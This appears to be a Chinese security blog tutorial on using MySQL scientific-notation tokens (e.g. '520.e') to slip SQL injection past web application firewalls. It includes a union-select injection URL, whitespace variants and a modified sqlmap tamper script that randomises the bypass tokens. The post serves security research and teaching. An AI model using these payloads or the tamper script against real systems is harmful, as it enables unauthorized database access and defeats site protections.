0x01测试

科学记数法,中的e记数法,在指定符号前会被忽略

( ) 。, | &%*^/

例如我这边查询语句为

select id,title from sqli_data limit 1,1;

90307-lxyuvdej77c.png

在那些指定符号前加上科学计数法语句如下,运行结果也是一样的

select id 520.e,title from sqli_data limit 1 520.e,1;

21463-s73ut9jixk9.png

这个520.e前面的数字无所谓可以是任意数字如:

520.1314e

在实际注入中应用例子

http://127.0.0.1/sqli.php?id=-9706 union select 1,2,database 520.e( 520.e)--+

76252-mbbbkg43prn.png

0x02 tamper

最新版sqlmap已经实现了这个tamper

https://github.com/sqlmapproject/sqlmap/blob/master/tamper/scientific.py

但是他的数字是一直固定的1.e这里进行一点修改将他修改为随机的效果如图

90127-p4dfejk404i.png

#!/usr/bin/env python

"""
Copyright (c) 2006-2022 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import re
import random

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.HIGHEST

def dependencies():
    pass

def tamper(payload, **kwargs):
    """
    Abuses MySQL scientific notation
    Requirement:
        * MySQL
    Notes:
        * Reference: https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/
    >>> tamper('1 AND ORD(MID((CURRENT_USER()),7,1))>1')
    '1 AND ORD 1.e(MID((CURRENT_USER 1.e( 1.e) 1.e) 1.e,7 1.e,1 1.e) 1.e)>1'
    """

    if payload:
        num=random.randint(1,9999999)
        payload = re.sub(r"[),.*^/|&]", r" {}.e\g<0>".format(num), payload)
        num=random.randint(1,9999999)
        payload = re.sub(r"(\w+)\(", lambda match: "%s %d.e(" %  (match.group(1),num) if not re.search(r"(?i)\A(MID|CAST|FROM|COUNT)\Z", match.group(1)) else match.group(0), payload)     # NOTE: MID and CAST don't work for sure

    return payload

0x03 其他

在科学计数法前需要空白字符不一定是空格也可以是其他字符如:

user(/**/7466978.e)
user(%0a7466978.e)
user(%0a7466978.e)

只能加在& |也就是运算的时候而不能加在当and 或 or的情况下 && ||
正确使用情况
07460-z2zjqagx8ln.png

错误
88029-bc3lt19t1u.png

0x04参考

https://www.gosecure.net/blog/2021/10/19/a-scientific-notation-bug-in-mysql-left-aws-waf-clients-vulnerable-to-sql-injection/

最后修改:2022 年 12 月 20 日
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/788.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
如果觉得我的文章对你有用,请随意赞赏